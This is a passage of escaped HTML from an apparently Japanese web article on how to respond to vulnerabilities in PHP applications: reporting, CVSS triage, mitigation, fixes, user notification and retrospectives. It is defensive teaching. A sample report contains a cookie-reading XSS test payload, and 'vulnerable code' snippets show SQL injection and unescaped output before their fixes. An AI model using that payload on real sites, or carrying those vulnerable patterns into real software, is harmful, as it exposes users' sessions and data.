class=\"wp-block-list\">\n<li><strong>\u30c6\u30b9\u30c8\u74b0\u5883\u306e\u5206\u96e2<\/strong>\uff1a\u672c\u756a\u74b0\u5883\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u306a\u3044\u3088\u3046\u3001\u5206\u96e2\u3055\u308c\u305f\u30c6\u30b9\u30c8\u74b0\u5883\u3067\u5b9f\u65bd\u3059\u308b<\/li>\n\n\n\n<li><strong>\u5b9a\u671f\u7684\u306a\u30c6\u30b9\u30c8<\/strong>\uff1a\u65b0\u6a5f\u80fd\u306e\u30ea\u30ea\u30fc\u30b9\u524d\u3060\u3051\u3067\u306a\u304f\u3001\u5b9a\u671f\u7684\u306b\u30c6\u30b9\u30c8\u3092\u5b9f\u65bd\u3059\u308b<\/li>\n\n\n\n<li><strong>\u8907\u6570\u30c4\u30fc\u30eb\u306e\u4f75\u7528<\/strong>\uff1a\u5358\u4e00\u306e\u30c4\u30fc\u30eb\u306b\u4f9d\u5b58\u305b\u305a\u3001\u8907\u6570\u306e\u30c4\u30fc\u30eb\u3092\u7d44\u307f\u5408\u308f\u305b\u3066\u4f7f\u7528\u3059\u308b<\/li>\n\n\n\n<li><strong>\u624b\u52d5\u30c6\u30b9\u30c8\u3068\u81ea\u52d5\u30c6\u30b9\u30c8\u306e\u7d44\u307f\u5408\u308f\u305b<\/strong>\uff1a\u81ea\u52d5\u30c4\u30fc\u30eb\u3060\u3051\u3067\u306f\u767a\u898b\u3067\u304d\u306a\u3044\u8106\u5f31\u6027\u3082\u3042\u308b\u305f\u3081<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6559\u80b2<\/strong>\uff1a\u958b\u767a\u30c1\u30fc\u30e0\u306b\u30c6\u30b9\u30c8\u7d50\u679c\u3092\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u3057\u3001\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u610f\u8b58\u3092\u9ad8\u3081\u308b<\/li>\n<\/ol>\n\n\n\n<p>\u52d5\u7684\u89e3\u6790\u3068\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306f\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u78ba\u4fdd\u3059\u308b\u305f\u3081\u306e\u91cd\u8981\u306a\u30d7\u30ed\u30bb\u30b9\u3067\u3059\u3002\u9759\u7684\u89e3\u6790\u3068\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u3001\u3088\u308a\u5305\u62ec\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002\u5b9a\u671f\u7684\u306a\u30c6\u30b9\u30c8\u3068\u7d99\u7d9a\u7684\u306a\u6539\u5584\u306b\u3088\u308a\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d9\u30eb\u3092\u9ad8\u304f\u7dad\u6301\u3057\u307e\u3057\u3087\u3046\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-167\">\u8106\u5f31\u6027\u767a\u898b\u6642\u306e\u9069\u5207\u306a\u5bfe\u5fdc\u624b\u9806<\/h3>\n\n\n\n<p>PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u304a\u3051\u308b\u8106\u5f31\u6027\u306f\u3001\u767a\u898b\u5f8c\u306e\u5bfe\u5fdc\u901f\u5ea6\u3068\u9069\u5207\u306a\u4fee\u6b63\u30d7\u30ed\u30bb\u30b9\u304c\u91cd\u8981\u3067\u3059\u3002\u8106\u5f31\u6027\u3092\u653e\u7f6e\u3059\u308b\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u305f\u3081\u3001\u4f53\u7cfb\u7684\u306a\u5bfe\u5fdc\u624b\u9806\u3092\u4e8b\u524d\u306b\u7b56\u5b9a\u3057\u3066\u304a\u304f\u3053\u3068\u304c\u4e0d\u53ef\u6b20\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-168\">\u8106\u5f31\u6027\u5bfe\u5fdc\u306e\u57fa\u672c\u30d7\u30ed\u30bb\u30b9<\/h4>\n\n\n\n<p>\u8106\u5f31\u6027\u767a\u898b\u6642\u306e\u52b9\u679c\u7684\u306a\u5bfe\u5fdc\u30d7\u30ed\u30bb\u30b9\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">1. \u767a\u898b\u3068\u5831\u544a \u2192 2. \u8a55\u4fa1\u3068\u5206\u985e \u2192 3. \u7de9\u548c\u7b56\u306e\u5b9f\u88c5 \u2192 4. \u6052\u4e45\u7684\u306a\u4fee\u6b63\n\u2192 5. \u691c\u8a3c\u3068\u30c7\u30d7\u30ed\u30a4 \u2192 6. \u901a\u77e5\u3068\u60c5\u5831\u5171\u6709 \u2192 7. \u30ec\u30c8\u30ed\u30b9\u30da\u30af\u30c6\u30a3\u30d6\u3068\u6539\u5584\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-169\">1. \u767a\u898b\u3068\u5831\u544a<\/h4>\n\n\n\n<p>\u8106\u5f31\u6027\u304c\u767a\u898b\u3055\u308c\u305f\u3089\u3001\u307e\u305a\u9069\u5207\u306a\u5831\u544a\u30c1\u30e3\u30cd\u30eb\u3092\u901a\u3058\u3066\u901f\u3084\u304b\u306b\u5831\u544a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u5831\u544a\u5185\u5bb9\u306b\u542b\u3081\u308b\u3079\u304d\u60c5\u5831<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8106\u5f31\u6027\u306e\u7a2e\u985e\u3068\u6982\u8981<\/li>\n\n\n\n<li>\u767a\u898b\u306e\u7d4c\u7def\uff08\u9759\u7684\u89e3\u6790\u3001\u52d5\u7684\u30c6\u30b9\u30c8\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u76e3\u67fb\u306a\u3069\uff09<\/li>\n\n\n\n<li>\u518d\u73fe\u624b\u9806\u3068\u5f71\u97ff\u7bc4\u56f2<\/li>\n\n\n\n<li>\u767a\u898b\u3057\u305f\u74b0\u5883\u60c5\u5831\uff08PHP\u30d0\u30fc\u30b8\u30e7\u30f3\u3001\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u3001\u95a2\u9023\u30e9\u30a4\u30d6\u30e9\u30ea\u306a\u3069\uff09<\/li>\n\n\n\n<li>\u53ef\u80fd\u3067\u3042\u308c\u3070\u8106\u5f31\u306a\u30b3\u30fc\u30c9\u306e\u7279\u5b9a\u3068\u5834\u6240<\/li>\n\n\n\n<li>\u4e00\u6642\u7684\u306a\u56de\u907f\u7b56\uff08\u5b58\u5728\u3059\u308b\u5834\u5408\uff09<\/li>\n<\/ul>\n\n\n\n<p><strong>\u5831\u544a\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u8106\u5f31\u6027\u5831\u544a\u30d5\u30a9\u30fc\u30e0\n\n\u30bf\u30a4\u30c8\u30eb: \u30e6\u30fc\u30b6\u30fc\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u66f4\u65b0\u6a5f\u80fd\u306b\u304a\u3051\u308bXSS\u8106\u5f31\u6027\n\u767a\u898b\u65e5\u6642: 2025\/03\/15 14:30\n\u5831\u544a\u8005: \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\n\n\u8a73\u7d30:\n- \u8106\u5f31\u6027\u306e\u7a2e\u985e: \u53cd\u5c04\u578b\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0(XSS)\n- \u5f71\u97ff\u7bc4\u56f2: \u30e6\u30fc\u30b6\u30fc\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u66f4\u65b0\u30da\u30fc\u30b8\n- \u518d\u73fe\u65b9\u6cd5: \u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u66f4\u65b0\u30d5\u30a9\u30fc\u30e0\u306e\u300c\u81ea\u5df1\u7d39\u4ecb\u300d\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u4ee5\u4e0b\u306e\u30b3\u30fc\u30c9\u3092\u5165\u529b:\n  &lt;script&gt;alert(document.cookie)&lt;\/script&gt;\n- \u6f5c\u5728\u7684\u5f71\u97ff: \u30e6\u30fc\u30b6\u30fc\u30bb\u30c3\u30b7\u30e7\u30f3\u306e\u4e57\u3063\u53d6\u308a\u3001\u507d\u88c5\u30da\u30fc\u30b8\u306e\u8868\u793a\n- \u95a2\u9023\u30d5\u30a1\u30a4\u30eb: \/app\/controllers\/ProfileController.php (132\u884c\u76ee\u4ed8\u8fd1)\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-170\">2. \u8a55\u4fa1\u3068\u5206\u985e<\/h4>\n\n\n\n<p>\u5831\u544a\u3055\u308c\u305f\u8106\u5f31\u6027\u3092\u8a55\u4fa1\u3057\u3001\u91cd\u8981\u5ea6\u3068\u7dca\u6025\u5ea6\u3092\u5206\u985e\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u8a55\u4fa1\u57fa\u6e96<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>CVSS (Common Vulnerability Scoring System)<\/strong> \u3092\u4f7f\u7528\u3057\u305f\u5ba2\u89b3\u7684\u306a\u8a55\u4fa1<\/li>\n\n\n\n<li>\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30e6\u30fc\u30b6\u30fc\u6570<\/li>\n\n\n\n<li>\u6a5f\u5bc6\u30c7\u30fc\u30bf\u306e\u6f0f\u6d29\u30ea\u30b9\u30af<\/li>\n\n\n\n<li>\u60aa\u7528\u306e\u96e3\u6613\u5ea6\u3068\u691c\u51fa\u53ef\u80fd\u6027<\/li>\n<\/ul>\n\n\n\n<p><strong>\u7dca\u6025\u5ea6\u306e\u5206\u985e\u4f8b<\/strong>:<\/p>\n\n\n<div id=\"id-ee7e6362-4fe2-4897-910b-e979cf316236\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u91cd\u8981\u5ea6<\/th><th>\u5bfe\u5fdc\u671f\u9650<\/th><th>\u7279\u5fb4<\/th><\/tr><\/thead><tbody><tr><td>\u30af\u30ea\u30c6\u30a3\u30ab\u30eb<\/td><td>24\u6642\u9593\u4ee5\u5185<\/td><td>\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u3001\u6a5f\u5bc6\u30c7\u30fc\u30bf\u6f0f\u6d29<\/td><\/tr><tr><td>\u9ad8<\/td><td>72\u6642\u9593\u4ee5\u5185<\/td><td>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3001XSS\u3001CSRF\u306a\u3069\u306e\u4e00\u822c\u7684\u306a\u653b\u6483<\/td><\/tr><tr><td>\u4e2d<\/td><td>1-2\u9031\u9593\u4ee5\u5185<\/td><td>\u9650\u5b9a\u7684\u306a\u5f71\u97ff\u3092\u6301\u3064\u8106\u5f31\u6027\u3001\u60aa\u7528\u56f0\u96e3\u306a\u8106\u5f31\u6027<\/td><\/tr><tr><td>\u4f4e<\/td><td>\u6a19\u6e96\u30ea\u30ea\u30fc\u30b9\u30b5\u30a4\u30af\u30eb<\/td><td>\u7406\u8ad6\u7684\u8106\u5f31\u6027\u3001\u9650\u3089\u308c\u305f\u72b6\u6cc1\u3067\u306e\u307f\u767a\u751f<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<h4 class=\"wp-block-heading\" id=\"i-171\">3. \u7de9\u548c\u7b56\u306e\u5b9f\u88c5<\/h4>\n\n\n\n<p>\u6052\u4e45\u7684\u306a\u4fee\u6b63\u304c\u5b8c\u4e86\u3059\u308b\u307e\u3067\u306e\u9593\u3001\u66ab\u5b9a\u7684\u306a\u5bfe\u7b56\u3092\u5b9f\u65bd\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u4e00\u822c\u7684\u306a\u7de9\u548c\u7b56<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8106\u5f31\u306a\u6a5f\u80fd\u306e\u4e00\u6642\u7684\u306a\u7121\u52b9\u5316<\/li>\n\n\n\n<li>WAF (Web Application Firewall) \u306e\u30eb\u30fc\u30eb\u8ffd\u52a0<\/li>\n\n\n\n<li>\u30ec\u30fc\u30c8\u5236\u9650\u306e\u5f37\u5316<\/li>\n\n\n\n<li>\u30a2\u30af\u30bb\u30b9\u5236\u9650\u306e\u5b9f\u88c5<\/li>\n<\/ul>\n\n\n\n<p><strong>\u5b9f\u88c5\u4f8b\uff08XSS\u8106\u5f31\u6027\u306e\u5834\u5408\uff09<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u7de9\u548c\u7b56\u3068\u3057\u3066\u306eHTTP\u30ec\u30b9\u30dd\u30f3\u30b9\u30d8\u30c3\u30c0\u30fc\u8a2d\u5b9a\nheader(\"Content-Security-Policy: script-src 'self'\");\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u7dca\u6025\u5bfe\u5fdc\u3068\u3057\u3066\u306e\u51fa\u529b\u30a8\u30b9\u30b1\u30fc\u30d7\u8ffd\u52a0\necho htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-172\">4. \u6052\u4e45\u7684\u306a\u4fee\u6b63<\/h4>\n\n\n\n<p>\u6839\u672c\u7684\u306a\u554f\u984c\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u3001\u9069\u5207\u306a\u4fee\u6b63\u3092\u5b9f\u88c5\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u4fee\u6b63\u30d7\u30ed\u30bb\u30b9<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u8106\u5f31\u6027\u306e\u6839\u672c\u539f\u56e0\u306e\u7279\u5b9a<\/li>\n\n\n\n<li>\u9069\u5207\u306a\u4fee\u6b63\u65b9\u6cd5\u306e\u8a2d\u8a08<\/li>\n\n\n\n<li>\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\uff08\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u62c5\u5f53\u8005\u3092\u542b\u3080\uff09<\/li>\n\n\n\n<li>\u30c6\u30b9\u30c8\u74b0\u5883\u3067\u306e\u691c\u8a3c<\/li>\n<\/ol>\n\n\n\n<p><strong>\u4e00\u822c\u7684\u306a\u8106\u5f31\u6027\u306e\u4fee\u6b63\u4f8b<\/strong>:<\/p>\n\n\n\n<p><strong>SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9\n$query = \"SELECT * FROM users WHERE username = '\" . $_POST['username'] . \"'\";\n\n\/\/ \u4fee\u6b63\u5f8c\u306e\u30b3\u30fc\u30c9\n$stmt = $pdo-&gt;prepare(\"SELECT * FROM users WHERE username = ?\");\n$stmt-&gt;execute([$_POST['username']]);\n<\/pre>\n\n\n\n<p><strong>XSS<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9\necho \"\u3053\u3093\u306b\u3061\u306f\u3001\" . $_GET['name'] . \"\u3055\u3093\";\n\n\/\/ \u4fee\u6b63\u5f8c\u306e\u30b3\u30fc\u30c9\necho \"\u3053\u3093\u306b\u3061\u306f\u3001\" . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . \"\u3055\u3093\";\n<\/pre>\n\n\n\n<p><strong>CSRF<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8106\u5f31\u306a\u30b3\u30fc\u30c9\nfunction updateEmail($newEmail) {\n    \/\/ \u76f4\u63a5\u66f4\u65b0\n}\n\n\/\/ \u4fee\u6b63\u5f8c\u306e\u30b3\u30fc\u30c9\nfunction updateEmail($newEmail, $token) {\n    if (!validateCSRFToken($token)) {\n        throw new SecurityException('Invalid token');\n    }\n    \/\/ \u5b89\u5168\u306b\u66f4\u65b0\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-173\">5. \u691c\u8a3c\u3068\u30c7\u30d7\u30ed\u30a4<\/h4>\n\n\n\n<p>\u4fee\u6b63\u306e\u6709\u52b9\u6027\u3092\u78ba\u8a8d\u3057\u3001\u5b89\u5168\u306b\u30c7\u30d7\u30ed\u30a4\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u691c\u8a3c\u624b\u9806<\/strong>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>\u8106\u5f31\u6027\u306e\u518d\u73fe\u30c6\u30b9\u30c8\uff08\u4fee\u6b63\u5f8c\u3067\u518d\u73fe\u3067\u304d\u306a\u3044\u3053\u3068\u3092\u78ba\u8a8d\uff09<\/li>\n\n\n\n<li>\u56de\u5e30\u30c6\u30b9\u30c8\uff08\u4fee\u6b63\u306b\u3088\u308a\u4ed6\u306e\u6a5f\u80fd\u306b\u5f71\u97ff\u304c\u306a\u3044\u304b\u78ba\u8a8d\uff09<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc<\/li>\n<\/ol>\n\n\n\n<p><strong>\u30c7\u30d7\u30ed\u30a4\u6226\u7565<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u91cd\u5927\u306a\u8106\u5f31\u6027\uff1a\u5373\u6642\u306e\u30db\u30c3\u30c8\u30d5\u30a3\u30c3\u30af\u30b9<\/li>\n\n\n\n<li>\u4e2d\u7a0b\u5ea6\u306e\u8106\u5f31\u6027\uff1a\u6b21\u56de\u306e\u5b9a\u671f\u30ea\u30ea\u30fc\u30b9\u306b\u542b\u3081\u308b<\/li>\n\n\n\n<li>\u8907\u6570\u74b0\u5883\u3078\u306e\u30ed\u30fc\u30eb\u30a2\u30a6\u30c8\u8a08\u753b<\/li>\n<\/ul>\n\n\n\n<p><strong>\u30c7\u30d7\u30ed\u30a4\u5f8c\u306e\u78ba\u8a8d<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u672c\u756a\u74b0\u5883\u3067\u306e\u691c\u8a3c\u30b9\u30af\u30ea\u30d7\u30c8\u4f8b\uff08\u5b89\u5168\u306a\u5834\u6240\u304b\u3089\u306e\u307f\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u306b\u3059\u308b\uff09\ntry {\n    \/\/ \u8106\u5f31\u6027\u306e\u691c\u8a3c\u30b3\u30fc\u30c9\n    $result = testPreviousVulnerability();\n    echo \"\u691c\u8a3c\u7d50\u679c: \" . ($result ? \"\u8106\u5f31\u6027\u304c\u6b8b\u3063\u3066\u3044\u307e\u3059\" : \"\u4fee\u6b63\u5b8c\u4e86\");\n} catch (Exception $e) {\n    \/\/ \u30a8\u30e9\u30fc\u30cf\u30f3\u30c9\u30ea\u30f3\u30b0\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-174\">6. \u901a\u77e5\u3068\u60c5\u5831\u5171\u6709<\/h4>\n\n\n\n<p>\u95a2\u4fc2\u8005\u306b\u9069\u5207\u306a\u60c5\u5831\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u901a\u77e5\u3059\u3079\u304d\u5bfe\u8c61<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5185\u90e8\u30b9\u30c6\u30fc\u30af\u30db\u30eb\u30c0\u30fc\uff08\u7d4c\u55b6\u9663\u3001\u958b\u767a\u30c1\u30fc\u30e0\u3001\u4ed6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\uff09<\/li>\n\n\n\n<li>\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30e6\u30fc\u30b6\u30fc<\/li>\n\n\n\n<li>\u5fc5\u8981\u306b\u5fdc\u3058\u3066\u898f\u5236\u5f53\u5c40<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\uff08\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u306e\u5834\u5408\uff09<\/li>\n<\/ul>\n\n\n\n<p><strong>\u901a\u77e5\u306e\u5185\u5bb9\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u901a\u77e5\n\n\u4ef6\u540d: \u91cd\u8981\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u306e\u304a\u77e5\u3089\u305b - \u5bfe\u5fdc\u5fc5\u9808\n\n\u5185\u5bb9:\n\u5f53\u793e\u306eXYZ\u30b5\u30fc\u30d3\u30b9\u306b\u304a\u3044\u3066\u3001\u4e00\u90e8\u306e\u30e6\u30fc\u30b6\u30fc\u30c7\u30fc\u30bf\u304c\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3092\u53d7\u3051\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u554f\u984c\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u554f\u984c\u306f\u65e2\u306b\u4fee\u6b63\u3055\u308c\u3001\u5168\u3066\u306e\u30b7\u30b9\u30c6\u30e0\u306b\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u9069\u7528\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\n\u5f71\u97ff\u7bc4\u56f2:\n- 2024\u5e741\u67081\u65e5\u304b\u30892025\u5e743\u670815\u65e5\u306e\u9593\u306b\u30ed\u30b0\u30a4\u30f3\u3057\u305f\u30e6\u30fc\u30b6\u30fc\n- \u500b\u4eba\u60c5\u5831\u306e\u6f0f\u6d29\u306f\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u305b\u3093\n\n\u5fc5\u8981\u306a\u30a2\u30af\u30b7\u30e7\u30f3:\n- \u5ff5\u306e\u305f\u3081\u3001\u6b21\u56de\u30ed\u30b0\u30a4\u30f3\u6642\u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u5909\u66f4\u3092\u304a\u9858\u3044\u3057\u307e\u3059\n- \u4e0d\u5be9\u306a\u30a2\u30ab\u30a6\u30f3\u30c8\u6d3b\u52d5\u304c\u306a\u3044\u304b\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\n\n\u4eca\u5f8c\u306e\u5bfe\u7b56:\n\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u76e3\u8996\u4f53\u5236\u3092\u5f37\u5316\u3057\u3001\u540c\u69d8\u306e\u554f\u984c\u304c\u767a\u751f\u3057\u306a\u3044\u3088\u3046\u5bfe\u7b56\u3092\u8b1b\u3058\u3066\u3044\u307e\u3059\u3002\n\n\u3054\u4e0d\u660e\u70b9\u304c\u3042\u308c\u3070\u3001security@example.com \u307e\u3067\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044\u3002\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-175\">7. \u30ec\u30c8\u30ed\u30b9\u30da\u30af\u30c6\u30a3\u30d6\u3068\u6539\u5584<\/h4>\n\n\n\n<p>\u8106\u5f31\u6027\u5bfe\u5fdc\u30d7\u30ed\u30bb\u30b9\u3092\u632f\u308a\u8fd4\u308a\u3001\u6539\u5584\u70b9\u3092\u7279\u5b9a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30ec\u30c8\u30ed\u30b9\u30da\u30af\u30c6\u30a3\u30d6\u306e\u89b3\u70b9<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u8106\u5f31\u6027\u304c\u3069\u306e\u3088\u3046\u306b\u6df7\u5165\u3057\u305f\u304b<\/li>\n\n\n\n<li>\u3088\u308a\u65e9\u671f\u306b\u767a\u898b\u3067\u304d\u305f\u53ef\u80fd\u6027<\/li>\n\n\n\n<li>\u5bfe\u5fdc\u30d7\u30ed\u30bb\u30b9\u306e\u52b9\u7387\u6027<\/li>\n\n\n\n<li>\u540c\u69d8\u306e\u8106\u5f31\u6027\u304c\u4ed6\u306e\u5834\u6240\u306b\u5b58\u5728\u3057\u306a\u3044\u304b<\/li>\n<\/ul>\n\n\n\n<p><strong>\u518d\u767a\u9632\u6b62\u7b56\u306e\u4f8b<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u30d7\u30ed\u30bb\u30b9\u306e\u5f37\u5316<\/li>\n\n\n\n<li>\u81ea\u52d5\u5316\u3055\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306e\u8ffd\u52a0<\/li>\n\n\n\n<li>\u958b\u767a\u8005\u5411\u3051\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u306e\u5b9f\u65bd<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u306e\u660e\u78ba\u5316<\/li>\n<\/ul>\n\n\n\n<p><strong>\u6539\u5584\u8a08\u753b\u306e\u6587\u66f8\u5316<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u8106\u5f31\u6027\u5bfe\u5fdc\u6539\u5584\u8a08\u753b\n\n\u554f\u984c:\n- XSS\u8106\u5f31\u6027\u304c\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u3067\u898b\u9003\u3055\u308c\u305f\n- \u4fee\u6b63\u306b3\u65e5\u9593\u3092\u8981\u3057\u305f\uff08\u76ee\u6a19\u306f24\u6642\u9593\u4ee5\u5185\uff09\n\n\u6539\u5584\u7b56:\n1. XSS\u5bfe\u7b56\u306e\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u4f5c\u6210\n2. 